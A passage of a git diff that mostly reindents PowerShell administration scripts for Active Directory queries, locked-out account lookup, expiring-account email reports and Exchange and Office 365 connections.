+ [String[]]$Identity, + [Switch]$Recurse + ) + BEGIN + { + TRY + { + IF (-not (Get-Module -Name ActiveDirectory)) { Import-Module -Name ActiveDirectory -ErrorAction 'Stop' -Verbose:$false } + } + CATCH + { + Write-Verbose -Message "[BEGIN] Something wrong happened" + Write-Verbose -Message $Error[0].Exception.Message + } + } + PROCESS + { + foreach ($Account in $Identity) + { + TRY + { + IF ($PSBoundParameters['Recurse']) + { + # Get the DirectReports + Write-Verbose -Message "[PROCESS] Account: $Account (Recursive)" + Get-Aduser -identity $Account -Properties directreports | + ForEach-Object -Process { + $_.directreports | ForEach-Object -Process { + # Output the current object with the properties Name, SamAccountName, Mail and Manager + Get-ADUser -Identity $PSItem -Properties * | Select-Object -Property *, @{ Name = "ManagerAccount"; Expression = { (Get-Aduser -identity $psitem.manager).samaccountname } } + # Gather DirectReports under the current object and so on... + Get-ADDirectReports -Identity $PSItem -Recurse + } + } + }#IF($PSBoundParameters['Recurse']) + IF (-not ($PSBoundParameters['Recurse'])) + { + Write-Verbose -Message "[PROCESS] Account: $Account" + # Get the DirectReports + Get-Aduser -identity $Account -Properties directreports | Select-Object -ExpandProperty directReports | + Get-ADUser -Properties * | Select-Object -Property *, @{ Name = "ManagerAccount"; Expression = { (Get-Aduser -identity $psitem.manager).samaccountname } } + }#IF (-not($PSBoundParameters['Recurse'])) + }#TRY + CATCH + { + Write-Verbose -Message "[PROCESS] Something wrong happened" + Write-Verbose -Message $Error[0].Exception.Message + } + } + } + END + { + Remove-Module -Name ActiveDirectory -ErrorAction 'SilentlyContinue' -Verbose:$false | Out-Null + } } diff --git a/AD-USER-Get-AccountLockedOut/AD-USER-Get-AccountLockedOut.ps1 b/AD-USER-Get-AccountLockedOut/AD-USER-Get-AccountLockedOut.ps1 index fea973bd..f8a1d32e 100644 --- a/AD-USER-Get-AccountLockedOut/AD-USER-Get-AccountLockedOut.ps1 +++ b/AD-USER-Get-AccountLockedOut/AD-USER-Get-AccountLockedOut.ps1 @@ -1,115 +1,115 @@ Function Get-AccountLockedOut { - + <# .SYNOPSIS - This function will find the device where the account get lockedout + This function will find the device where the account get lockedout .DESCRIPTION - This function will find the device where the account get lockedout. - It will query directly the PDC for this information - + This function will find the device where the account get lockedout. + It will query directly the PDC for this information + .PARAMETER DomainName - Specifies the DomainName to query, by default it takes the current domain ($env:USERDOMAIN) + Specifies the DomainName to query, by default it takes the current domain ($env:USERDOMAIN) .PARAMETER UserName - Specifies the DomainName to query, by default it takes the current domain ($env:USERDOMAIN) + Specifies the DomainName to query, by default it takes the current domain ($env:USERDOMAIN) .EXAMPLE - Get-AccountLockedOut -UserName * -StartTime (Get-Date).AddDays(-5) -Credential (Get-Credential) - - This will retrieve the all the users lockedout in the last 5 days using the credential specify by the user. - It might not retrieve the information very far in the past if the PDC logs are filling up very fast. - + Get-AccountLockedOut -UserName * -StartTime (Get-Date).AddDays(-5) -Credential (Get-Credential) + + This will retrieve the all the users lockedout in the last 5 days using the credential specify by the user. + It might not retrieve the information very far in the past if the PDC logs are filling up very fast. + .EXAMPLE - Get-AccountLockedOut -UserName "Francois-Xavier.cat" -StartTime (Get-Date).AddDays(-2) + Get-AccountLockedOut -UserName "Francois-Xavier.cat" -StartTime (Get-Date).AddDays(-2) #> - - #Requires -Version 3.0 - [CmdletBinding()] - param ( - [string]$DomainName = $env:USERDOMAIN, - [Parameter()] - [ValidateNotNullorEmpty()] - [string]$UserName = '*', - [datetime]$StartTime = (Get-Date).AddDays(-1), - $Credential = [System.Management.Automation.PSCredential]::Empty - ) - BEGIN - { - TRY - { + + #Requires -Version 3.0 + [CmdletBinding()] + param ( + [string]$DomainName = $env:USERDOMAIN, + [Parameter()] + [ValidateNotNullorEmpty()] + [string]$UserName = '*', + [datetime]$StartTime = (Get-Date).AddDays(-1), + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + BEGIN + { + TRY + { #Variables $TimeDifference = (Get-Date) - $StartTime - Write-Verbose -Message "[BEGIN] Looking for PDC..." - - function Get-PDCServer - { - <# - .SYNOPSIS - Retrieve the Domain Controller with the PDC Role in the domain - #> - PARAM ( - $Domain = $env:USERDOMAIN, - $Credential = [System.Management.Automation.PSCredential]::Empty - ) - - IF ($PSBoundParameters['Credential']) - { - - [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain( - (New-Object -TypeName System.DirectoryServices.ActiveDirectory.DirectoryContext -ArgumentList 'Domain', $Domain, $($Credential.UserName), $($Credential.GetNetworkCredential().password)) - ).PdcRoleOwner.name - }#Credentials - ELSE - { - [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain( - (New-Object -TypeName System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)) - ).PdcRoleOwner.name - } - }#function Get-PDCServer - - Write-Verbose -Message "[BEGIN] PDC is $(Get-PDCServer)" - }#TRY - CATCH - { - Write-Warning -Message "[BEGIN] Something wrong happened" - Write-Warning -Message $Error[0] - } - - }#BEGIN - PROCESS - { - TRY - { - # Define the parameters - $Splatting = @{ } - - # Add the credential to the splatting if specified - IF ($PSBoundParameters['Credential']) - { + Write-Verbose -Message "[BEGIN] Looking for PDC..." + + function Get-PDCServer + { + <# + .SYNOPSIS + Retrieve the Domain Controller with the PDC Role in the domain + #> + PARAM ( + $Domain = $env:USERDOMAIN, + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + IF ($PSBoundParameters['Credential']) + { + + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain( + (New-Object -TypeName System.DirectoryServices.ActiveDirectory.DirectoryContext -ArgumentList 'Domain', $Domain, $($Credential.UserName), $($Credential.GetNetworkCredential().password)) + ).PdcRoleOwner.name + }#Credentials + ELSE + { + [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain( + (New-Object -TypeName System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain)) + ).PdcRoleOwner.name + } + }#function Get-PDCServer + + Write-Verbose -Message "[BEGIN] PDC is $(Get-PDCServer)" + }#TRY + CATCH + { + Write-Warning -Message "[BEGIN] Something wrong happened" + Write-Warning -Message $Error[0] + } + + }#BEGIN + PROCESS + { + TRY + { + # Define the parameters + $Splatting = @{ } + + # Add the credential to the splatting if specified + IF ($PSBoundParameters['Credential']) + { Write-Verbose -Message "[PROCESS] Credential Specified" - $Splatting.Credential = $Credential - $Splatting.ComputerName = $(Get-PDCServer -Domain $DomainName -Credential $Credential) - } - ELSE - { - $Splatting.ComputerName =$(Get-PDCServer -Domain $DomainName) - } - - # Query the PDC + $Splatting.Credential = $Credential + $Splatting.ComputerName = $(Get-PDCServer -Domain $DomainName -Credential $Credential) + } + ELSE + { + $Splatting.ComputerName =$(Get-PDCServer -Domain $DomainName) + } + + # Query the PDC Write-Verbose -Message "[PROCESS] Querying PDC for LockedOut Account in the last Days:$($TimeDifference.days) Hours: $($TimeDifference.Hours) Minutes: $($TimeDifference.Minutes) Seconds: $($TimeDifference.seconds)" - Invoke-Command @Splatting -ScriptBlock { - - # Query Security Logs - Get-WinEvent -FilterHashtable @{ LogName = 'Security'; Id = 4740; StartTime = $Using:StartTime } | - Where-Object { $_.Properties[0].Value -like "$Using:UserName" } | - Select-Object -Property TimeCreated, - @{ Label = 'UserName'; Expression = { $_.Properties[0].Value } }, - @{ Label = 'ClientName'; Expression = { $_.Properties[1].Value } } - } | Select-Object -Property TimeCreated, UserName, ClientName - }#TRY - CATCH - { - - } - }#PROCESS + Invoke-Command @Splatting -ScriptBlock { + + # Query Security Logs + Get-WinEvent -FilterHashtable @{ LogName = 'Security'; Id = 4740; StartTime = $Using:StartTime } | + Where-Object { $_.Properties[0].Value -like "$Using:UserName" } | + Select-Object -Property TimeCreated, + @{ Label = 'UserName'; Expression = { $_.Properties[0].Value } }, + @{ Label = 'ClientName'; Expression = { $_.Properties[1].Value } } + } | Select-Object -Property TimeCreated, UserName, ClientName + }#TRY + CATCH + { + + } + }#PROCESS } diff --git a/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 b/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 index a724a496..f024a03e 100644 --- a/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 +++ b/AD-USER-Report_Expiring_users/AD-USER-Report_Expiring_users.ps1 @@ -1,262 +1,262 @@ <# .SYNOPSIS - Script to report expiring user account + Script to report expiring user account .DESCRIPTION - Script to report expiring user account + Script to report expiring user account .PARAMETER Days - Specifies the number of days to look up + Specifies the number of days to look up .PARAMETER SearchBase - Specifies the DistinguishedName + Specifies the DistinguishedName .PARAMETER EmailFrom - Specifies the email origin + Specifies the email origin .PARAMETER EmailTo - Specifies the email destination + Specifies the email destination .PARAMETER EmailSMTPServer - Specifies the SMTP Server to use + Specifies the SMTP Server to use .EXAMPLE - .\AD-USER-Report_Expiring_Users.ps1 -days 5 -EmailFrom "ScriptBox@lazywinadmin.com" -EmailSMTPServer smtp.lazywinadmin.com -EmailTo fxcat@lazywinadmin.com + .\AD-USER-Report_Expiring_Users.ps1 -days 5 -EmailFrom "ScriptBox@lazywinadmin.com" -EmailSMTPServer smtp.lazywinadmin.com -EmailTo fxcat@lazywinadmin.com .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm - - VERSION HISTORY - 1.0 2015/02/03 Initial Version - - TODO - Send-Mailmessage in begin - - + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm + + VERSION HISTORY + 1.0 2015/02/03 Initial Version + + TODO + Send-Mailmessage in begin + + #> [CmdletBinding()] PARAM ( - [Alias("ExpirationDays")] - [Int]$Days = '10', - - [String]$SearchBase = "", - - [string]$EmailFrom = "ScriptServer@Contoso.com", - - [string]$EmailTo = "IT@Contoso.com", - - [String]$EmailSMTPServer = "smtp.contoso.com" + [Alias("ExpirationDays")] + [Int]$Days = '10', + + [String]$SearchBase = "", + + [string]$EmailFrom = "ScriptServer@Contoso.com", + + [string]$EmailTo = "IT@Contoso.com", + + [String]$EmailSMTPServer = "smtp.contoso.com" ) BEGIN { - # Add Active Directory Module - - # Define Email Subject - [String]$EmailSubject = "PS Report-ActiveDirectory-Expiring Users (in the next $days days)" - [String]$NoteLine = "Generated from $($env:Computername.ToUpper()) on $(Get-Date -format 'yyyy/MM/dd HH:mm:ss')" - - # Functions helper - # Send from - Function Send-Email - { - <# - .SYNOPSIS - This function allows you to send email - .DESCRIPTION - This function allows you to send email - .EXAMPLE - Send-email ` - -EmailTo "fxcat@contoso.com" ` - -EmailFrom "powershell@contoso.com" ` - -Username "Account" ` - -Password "SecretP@ssword" ` - -SMTPServer "smtp.sendgrid.net" ` - -Subject "Test Email" ` - -Body "Test Email" - .NOTES - Francois-Xavier Cat - fxcat@lazywinadmin.com - www.lazywinadmin.com - @lazywinadm - - VERSION HISTORY - 1.0 2014/12/25 Initial Version - 1.1 2015/02/04 Adding some error handling and clean up the code a bit - Add Encoding, CC, BCC, BodyAsHTML - - TODO - -Add more Help/Example - -Add Support for classic Get-Credential - - #> - - [CmdletBinding()] - PARAM ( - [Parameter(Mandatory = $true)] - [Alias('To')] - [String]$EmailTo, - - [Parameter(Mandatory = $true)] - [Alias('From')] - [String]$EmailFrom, - - [String]$EmailCC, - - [String]$EmailBCC, - - [String]$Subject = "Email from PowerShell", - - [String]$Body = "Hello World", - - [Switch]$BodyIsHTML = $false, - - [ValidateSet("Default", "ASCII", "Unicode", "UTF7", "UTF8", "UTF32")] - [System.Text.Encoding]$Encoding = "Default", - - [String]$Attachment, - - [Parameter(ParameterSetName = "Credential", Mandatory = $true)] - [String]$Username, - - [Parameter(ParameterSetName = "Credential", Mandatory = $true)] - [String]$Password, - - [Parameter(Mandatory = $true)] - [ValidateScript({ - # Verify the host is reachable - Test-Connection -ComputerName $_ -Count 1 -Quiet - })] - [string]$SMTPServer, - - [ValidateRange(1, 65535)] - [int]$Port, - - [Switch]$EnableSSL - )#PARAM - - PROCESS - { - TRY - { - # Create Mail Message Object - $SMTPMessage = New-Object System.Net.Mail.MailMessage - $SMTPMessage.From = $EmailFrom - $SMTPMessage.To = $EmailTo - $SMTPMessage.Body = $Body - $SMTPMessage.Subject = $Subject - $SMTPMessage.CC = $EmailCC - $SMTPMessage.Bcc = $EmailBCC - $SMTPMessage.IsBodyHtml = $BodyIsHtml - $SMTPMessage.BodyEncoding = $Encoding - $SMTPMessage.SubjectEncoding = $Encoding - - # Attachement Parameter - IF ($PSBoundParameters['attachment']) - { - $SMTPattachment = New-Object -TypeName System.Net.Mail.Attachment($attachment) - $SMTPMessage.Attachments.Add($STMPattachment) - } - - # Create SMTP Client Object - $SMTPClient = New-Object Net.Mail.SmtpClient - $SMTPClient.Host = $SmtpServer - $SMTPClient.Port = $Port - - # SSL Parameter - IF ($PSBoundParameters['EnableSSL']) - { - $SMTPClient.EnableSsl = $true - } - - # Credential Paramenter - IF (($PSBoundParameters['Username']) -and ($PSBoundParameters['Password'])) - { - # Create Credential Object - $Credentials = New-Object -TypeName System.Net.NetworkCredential - $Credentials.UserName = $username.Split("@")[0] - $Credentials.Password = $Password - - # Add the credentials object to the SMTPClient obj - $SMTPClient.Credentials = $Credentials - } - - # Send the Email - $SMTPClient.Send($SMTPMessage) - - }#TRY - CATCH - { - Write-Warning -message "[PROCESS] Something wrong happened" - Write-Warning -Message $Error[0].Exception.Message - } - }#Process - END - { - # Remove Variables - Remove-Variable -Name SMTPClient - Remove-Variable -Name Password - }#END - } #End Function Send-EMail - + # Add Active Directory Module + + # Define Email Subject + [String]$EmailSubject = "PS Report-ActiveDirectory-Expiring Users (in the next $days days)" + [String]$NoteLine = "Generated from $($env:Computername.ToUpper()) on $(Get-Date -format 'yyyy/MM/dd HH:mm:ss')" + + # Functions helper + # Send from + Function Send-Email + { + <# + .SYNOPSIS + This function allows you to send email + .DESCRIPTION + This function allows you to send email + .EXAMPLE + Send-email ` + -EmailTo "fxcat@contoso.com" ` + -EmailFrom "powershell@contoso.com" ` + -Username "Account" ` + -Password "SecretP@ssword" ` + -SMTPServer "smtp.sendgrid.net" ` + -Subject "Test Email" ` + -Body "Test Email" + .NOTES + Francois-Xavier Cat + fxcat@lazywinadmin.com + www.lazywinadmin.com + @lazywinadm + + VERSION HISTORY + 1.0 2014/12/25 Initial Version + 1.1 2015/02/04 Adding some error handling and clean up the code a bit + Add Encoding, CC, BCC, BodyAsHTML + + TODO + -Add more Help/Example + -Add Support for classic Get-Credential + + #> + + [CmdletBinding()] + PARAM ( + [Parameter(Mandatory = $true)] + [Alias('To')] + [String]$EmailTo, + + [Parameter(Mandatory = $true)] + [Alias('From')] + [String]$EmailFrom, + + [String]$EmailCC, + + [String]$EmailBCC, + + [String]$Subject = "Email from PowerShell", + + [String]$Body = "Hello World", + + [Switch]$BodyIsHTML = $false, + + [ValidateSet("Default", "ASCII", "Unicode", "UTF7", "UTF8", "UTF32")] + [System.Text.Encoding]$Encoding = "Default", + + [String]$Attachment, + + [Parameter(ParameterSetName = "Credential", Mandatory = $true)] + [String]$Username, + + [Parameter(ParameterSetName = "Credential", Mandatory = $true)] + [String]$Password, + + [Parameter(Mandatory = $true)] + [ValidateScript({ + # Verify the host is reachable + Test-Connection -ComputerName $_ -Count 1 -Quiet + })] + [string]$SMTPServer, + + [ValidateRange(1, 65535)] + [int]$Port, + + [Switch]$EnableSSL + )#PARAM + + PROCESS + { + TRY + { + # Create Mail Message Object + $SMTPMessage = New-Object System.Net.Mail.MailMessage + $SMTPMessage.From = $EmailFrom + $SMTPMessage.To = $EmailTo + $SMTPMessage.Body = $Body + $SMTPMessage.Subject = $Subject + $SMTPMessage.CC = $EmailCC + $SMTPMessage.Bcc = $EmailBCC + $SMTPMessage.IsBodyHtml = $BodyIsHtml + $SMTPMessage.BodyEncoding = $Encoding + $SMTPMessage.SubjectEncoding = $Encoding + + # Attachement Parameter + IF ($PSBoundParameters['attachment']) + { + $SMTPattachment = New-Object -TypeName System.Net.Mail.Attachment($attachment) + $SMTPMessage.Attachments.Add($STMPattachment) + } + + # Create SMTP Client Object + $SMTPClient = New-Object Net.Mail.SmtpClient + $SMTPClient.Host = $SmtpServer + $SMTPClient.Port = $Port + + # SSL Parameter + IF ($PSBoundParameters['EnableSSL']) + { + $SMTPClient.EnableSsl = $true + } + + # Credential Paramenter + IF (($PSBoundParameters['Username']) -and ($PSBoundParameters['Password'])) + { + # Create Credential Object + $Credentials = New-Object -TypeName System.Net.NetworkCredential + $Credentials.UserName = $username.Split("@")[0] + $Credentials.Password = $Password + + # Add the credentials object to the SMTPClient obj + $SMTPClient.Credentials = $Credentials + } + + # Send the Email + $SMTPClient.Send($SMTPMessage) + + }#TRY + CATCH + { + Write-Warning -message "[PROCESS] Something wrong happened" + Write-Warning -Message $Error[0].Exception.Message + } + }#Process + END + { + # Remove Variables + Remove-Variable -Name SMTPClient + Remove-Variable -Name Password + }#END + } #End Function Send-EMail + } PROCESS { - TRY - { - $Accounts = Search-ADAccount -AccountExpiring -SearchBase $SearchBase -TimeSpan "$($days).00:00:00" | - Select-Object -Property AccountExpirationDate, Name, Samaccountname, @{ Label = "Manager"; E = { (Get-Aduser(Get-aduser $_ -property manager).manager).Name } }, DistinguishedName - - $Css = @" + TRY + { + $Accounts = Search-ADAccount -AccountExpiring -SearchBase $SearchBase -TimeSpan "$($days).00:00:00" | + Select-Object -Property AccountExpirationDate, Name, Samaccountname, @{ Label = "Manager"; E = { (Get-Aduser(Get-aduser $_ -property manager).manager).Name } }, DistinguishedName + + $Css = @" "@ - - $PreContent = "Active Directory - Expiring Users (next $days days)" - $PostContent = "

$NoteLine" - - - # Prepare Body - # If No account to report - IF (-not ($accounts)) - { - $body = "No user account expiring in the next $days days to report
$PostContent" - } - ELSE - { - $body = $Accounts | - ConvertTo-Html -head $Css -PostContent $PostContent -PreContent $PreContent - } - - # Sending email - Send-Email -SMTPServer $EmailSMTPServer -From $EmailFrom -To $Emailto -BodyIsHTML ` - -Subject $EmailSubject -Body $body - - }#TRY - CATCH - { - Write-Warning -Message "[PROCESS] Something happened" - Write-Warning -Message $Error[0].Exception.Message - } + + $PreContent = "Active Directory - Expiring Users (next $days days)" + $PostContent = "

$NoteLine" + + + # Prepare Body + # If No account to report + IF (-not ($accounts)) + { + $body = "No user account expiring in the next $days days to report
$PostContent" + } + ELSE + { + $body = $Accounts | + ConvertTo-Html -head $Css -PostContent $PostContent -PreContent $PreContent + } + + # Sending email + Send-Email -SMTPServer $EmailSMTPServer -From $EmailFrom -To $Emailto -BodyIsHTML ` + -Subject $EmailSubject -Body $body + + }#TRY + CATCH + { + Write-Warning -Message "[PROCESS] Something happened" + Write-Warning -Message $Error[0].Exception.Message + } }#PROCESS END { - + } \ No newline at end of file diff --git a/EXCHANGE-Connect-ExchangeOnPremises/Connect-ExchangeOnPremises.ps1 b/EXCHANGE-Connect-ExchangeOnPremises/Connect-ExchangeOnPremises.ps1 index e4a9dda1..a1e80b46 100644 --- a/EXCHANGE-Connect-ExchangeOnPremises/Connect-ExchangeOnPremises.ps1 +++ b/EXCHANGE-Connect-ExchangeOnPremises/Connect-ExchangeOnPremises.ps1 @@ -1,42 +1,42 @@ function Connect-ExchangeOnPremises { <# - .SYNOPSIS - Function to Connect to an Exchange OnPremises environment - - .DESCRIPTION - Function to Connect to an Exchange OnPremises environment - - .PARAMETER ConnectionUri - Specifies the Connection Uri to use - Example: http://ExchServer.lazywinadmin.com/powershell - - .PARAMETER Credential - Specifies the credential to use - - .EXAMPLE - PS C:\> Connect-ExchangeOnPremises -ConnectionUri http://ExchServer.lazywinadmin.com/powershell - - .EXAMPLE - PS C:\> Connect-ExchangeOnPremises -ConnectionUri http://ExchServer.lazywinadmin.com/powershell -Credential (Get-Credential) - - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm + .SYNOPSIS + Function to Connect to an Exchange OnPremises environment + + .DESCRIPTION + Function to Connect to an Exchange OnPremises environment + + .PARAMETER ConnectionUri + Specifies the Connection Uri to use + Example: http://ExchServer.lazywinadmin.com/powershell + + .PARAMETER Credential + Specifies the credential to use + + .EXAMPLE + PS C:\> Connect-ExchangeOnPremises -ConnectionUri http://ExchServer.lazywinadmin.com/powershell + + .EXAMPLE + PS C:\> Connect-ExchangeOnPremises -ConnectionUri http://ExchServer.lazywinadmin.com/powershell -Credential (Get-Credential) + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm #> - PARAM ( - [Parameter(Mandatory,HelpMessage= 'http:///powershell')] - [system.string]$ConnectionUri, - $Credential = [System.Management.Automation.PSCredential]::Empty - ) - - $Splatting = @{ - ConnectionUri = $ConnectionUri - ConfigurationName = 'microsoft.exchange' - } - IF ($PSBoundParameters['Credential']){$Splatting.Credential = $Credential} - - # Load Exchange cmdlets (Implicit remoting) - Import-PSSession -Session (New-pssession @Splatting) + PARAM ( + [Parameter(Mandatory,HelpMessage= 'http:///powershell')] + [system.string]$ConnectionUri, + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + $Splatting = @{ + ConnectionUri = $ConnectionUri + ConfigurationName = 'microsoft.exchange' + } + IF ($PSBoundParameters['Credential']){$Splatting.Credential = $Credential} + + # Load Exchange cmdlets (Implicit remoting) + Import-PSSession -Session (New-pssession @Splatting) } \ No newline at end of file diff --git a/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 b/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 index ec6a8b22..123826c8 100644 --- a/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 +++ b/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 @@ -1,62 +1,62 @@ function Connect-ExchangeOnline { <# - .SYNOPSIS - Function to Connect to an Exchange Online - - .DESCRIPTION - Function to Connect to an Exchange Online - - .PARAMETER ConnectionUri - Specifies the Connection Uri to use - Default is https://ps.outlook.com/powershell/ - - .PARAMETER Credential - Specifies the credential to use - - .EXAMPLE - PS C:\> Connect-ExchangeOnline - - .EXAMPLE - PS C:\> Connect-ExchangeOnline -Credential (Get-Credential) - - .NOTES - Francois-Xavier Cat - www.lazywinadmin.com - @lazywinadm + .SYNOPSIS + Function to Connect to an Exchange Online + + .DESCRIPTION + Function to Connect to an Exchange Online + + .PARAMETER ConnectionUri + Specifies the Connection Uri to use + Default is https://ps.outlook.com/powershell/ + + .PARAMETER Credential + Specifies the credential to use + + .EXAMPLE + PS C:\> Connect-ExchangeOnline + + .EXAMPLE + PS C:\> Connect-ExchangeOnline -Credential (Get-Credential) + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm #> - - param - ( - [system.string]$ConnectionUri = 'https://ps.outlook.com/powershell/', - [Parameter(Mandatory)] - $Credential - ) - PROCESS - { - TRY - { - # Make sure the credential username is something like admin@domain.com - if ($Credential.username -notlike '*@*') - { - Write-Error 'Must be email format' - break - } - - $Splatting = @{ - ConnectionUri = $ConnectionUri - ConfigurationName = 'microsoft.exchange' - Authentication = 'Basic' - AllowRedirection = $true - } - IF ($PSBoundParameters['Credential']) { $Splatting.Credential = $Credential } - - # Load Exchange cmdlets (Implicit remoting) - Import-PSSession -Session (New-pssession @Splatting -ErrorAction Stop) -ErrorAction Stop - } - CATCH - { - $Error[0] - } - } + + param + ( + [system.string]$ConnectionUri = 'https://ps.outlook.com/powershell/', + [Parameter(Mandatory)] + $Credential + ) + PROCESS + { + TRY + { + # Make sure the credential username is something like admin@domain.com + if ($Credential.username -notlike '*@*') + { + Write-Error 'Must be email format' + break + } + + $Splatting = @{ + ConnectionUri = $ConnectionUri + ConfigurationName = 'microsoft.exchange' + Authentication = 'Basic' + AllowRedirection = $true + } + IF ($PSBoundParameters['Credential']) { $Splatting.Credential = $Credential } + + # Load Exchange cmdlets (Implicit remoting) + Import-PSSession -Session (New-pssession @Splatting -ErrorAction Stop) -ErrorAction Stop + } + CATCH + { + $Error[0] + } + } } \ No newline at end of file diff --git a/O365-Connect-Office365/Connect-Office365.ps1 b/O365-Connect-Office365/Connect-Office365.ps1 index 1f1dc5d4..8b95e416 100644 --- a/O365-Connect-Office365/Connect-Office365.ps1 +++ b/O365-Connect-Office365/Connect-Office365.ps1 @@ -3,111 +3,111 @@ function Connect-Office365 <# .SYNOPSIS This function will prompt for credentials, load module MSOLservice, - load implicit modules for Office 365 Services (AD, Lync, Exchange) using PSSession. + load implicit modules for Office 365 Services (AD, Lync, Exchange) using PSSession. .DESCRIPTION This function will prompt for credentials, load module MSOLservice, - load implicit modules for Office 365 Services (AD, Lync, Exchange) using PSSession. + load implicit modules for Office 365 Services (AD, Lync, Exchange) using PSSession. .EXAMPLE Connect-Office365 - + This will prompt for your credentials and connect to the Office365 services .EXAMPLE Connect-Office365 -verbose - + This will prompt for your credentials and connect to the Office365 services. - Additionally you will see verbose messages on the screen to follow what is happening in the background + Additionally you will see verbose messages on the screen to follow what is happening in the background .NOTES Francois-Xavier Cat lazywinadmin.com @lazywinadm #> - [CmdletBinding()] - PARAM ( + [CmdletBinding()] + PARAM ( + + ) + BEGIN + { + TRY + { + #Modules + IF (-not (Get-Module -Name MSOnline -ListAvailable)) + { + Write-Verbose -Message "BEGIN - Import module Azure Active Directory" + Import-Module -Name MSOnline -ErrorAction Stop -ErrorVariable ErrorBeginIpmoMSOnline + } + + IF (-not (Get-Module -Name LyncOnlineConnector -ListAvailable)) + { + Write-Verbose -Message "BEGIN - Import module Lync Online" + Import-Module -Name LyncOnlineConnector -ErrorAction Stop -ErrorVariable ErrorBeginIpmoLyncOnline + } + } + CATCH + { + Write-Warning -Message "BEGIN - Something went wrong!" + IF ($ErrorBeginIpmoMSOnline) + { + Write-Warning -Message "BEGIN - Error while importing MSOnline module" + } + IF ($ErrorBeginIpmoLyncOnline) + { + Write-Warning -Message "BEGIN - Error while importing LyncOnlineConnector module" + } + + Write-Warning -Message $error[0].exception.message + } + } + PROCESS + { + TRY + { + + # CREDENTIAL + Write-Verbose -Message "PROCESS - Ask for Office365 Credential" + $Credential = Get-Credential -ErrorAction continue -ErrorVariable ErrorCredential -Credential "$env:USERNAME@$env:USERDNSDOMAIN" + + + # AZURE ACTIVE DIRECTORY (MSOnline) + Write-Verbose -Message "PROCESS - Connect to Azure Active Directory" + Connect-MsolService -Credential $Credential + + # EXCHANGE ONLINE (Implicit Remoting module) + Write-Verbose -Message "PROCESS - Create session to Exchange online" + $ExchangeURL = "https://ps.outlook.com/powershell/" + $O365PS = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri $ExchangeURL -Credential $Credential -Authentication Basic -AllowRedirection -ErrorAction Stop -ErrorVariable ErrorConnectExchange + + Write-Verbose -Message "PROCESS - Open session to Exchange online (Prefix: Cloud)" + Import-PSSession -Session $O365PS –Prefix ExchCloud - ) - BEGIN - { - TRY - { - #Modules - IF (-not (Get-Module -Name MSOnline -ListAvailable)) - { - Write-Verbose -Message "BEGIN - Import module Azure Active Directory" - Import-Module -Name MSOnline -ErrorAction Stop -ErrorVariable ErrorBeginIpmoMSOnline - } - - IF (-not (Get-Module -Name LyncOnlineConnector -ListAvailable)) - { - Write-Verbose -Message "BEGIN - Import module Lync Online" - Import-Module -Name LyncOnlineConnector -ErrorAction Stop -ErrorVariable ErrorBeginIpmoLyncOnline - } - } - CATCH - { - Write-Warning -Message "BEGIN - Something went wrong!" - IF ($ErrorBeginIpmoMSOnline) - { - Write-Warning -Message "BEGIN - Error while importing MSOnline module" - } - IF ($ErrorBeginIpmoLyncOnline) - { - Write-Warning -Message "BEGIN - Error while importing LyncOnlineConnector module" - } - - Write-Warning -Message $error[0].exception.message - } - } - PROCESS - { - TRY - { + # LYNC ONLINE (LyncOnlineConnector) + Write-Verbose -Message "PROCESS - Create session to Lync online" + $LyncSession = New-CsOnlineSession –Credential $Credential -ErrorAction Stop -ErrorVariable ErrorConnectExchange + Import-PSSession -Session $LyncSession -Prefix LyncCloud - # CREDENTIAL - Write-Verbose -Message "PROCESS - Ask for Office365 Credential" - $Credential = Get-Credential -ErrorAction continue -ErrorVariable ErrorCredential -Credential "$env:USERNAME@$env:USERDNSDOMAIN" + # SHAREPOINT ONLINE (Implicit Remoting module) + #Connect-SPOService -Url https://contoso-admin.sharepoint.com –credential $O365cred + } + CATCH + { + Write-Warning -Message "PROCESS - Something went wrong!" + IF ($ErrorCredential) + { + Write-Warning -Message "PROCESS - Error while gathering credential" + } + IF ($ErrorConnectMSOL) + { + Write-Warning -Message "PROCESS - Error while connecting to Azure AD" + } + IF ($ErrorConnectExchange) + { + Write-Warning -Message "PROCESS - Error while connecting to Exchange Online" + } + IF ($ErrorConnectLync) + { + Write-Warning -Message "PROCESS - Error while connecting to Lync Online" + } - - # AZURE ACTIVE DIRECTORY (MSOnline) - Write-Verbose -Message "PROCESS - Connect to Azure Active Directory" - Connect-MsolService -Credential $Credential - - # EXCHANGE ONLINE (Implicit Remoting module) - Write-Verbose -Message "PROCESS - Create session to Exchange online" - $ExchangeURL = "https://ps.outlook.com/powershell/" - $O365PS = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri $ExchangeURL -Credential $Credential -Authentication Basic -AllowRedirection -ErrorAction Stop -ErrorVariable ErrorConnectExchange - - Write-Verbose -Message "PROCESS - Open session to Exchange online (Prefix: Cloud)" - Import-PSSession -Session $O365PS –Prefix ExchCloud - - # LYNC ONLINE (LyncOnlineConnector) - Write-Verbose -Message "PROCESS - Create session to Lync online" - $LyncSession = New-CsOnlineSession –Credential $Credential -ErrorAction Stop -ErrorVariable ErrorConnectExchange - Import-PSSession -Session $LyncSession -Prefix LyncCloud - - # SHAREPOINT ONLINE (Implicit Remoting module) - #Connect-SPOService -Url https://contoso-admin.sharepoint.com –credential $O365cred - } - CATCH - { - Write-Warning 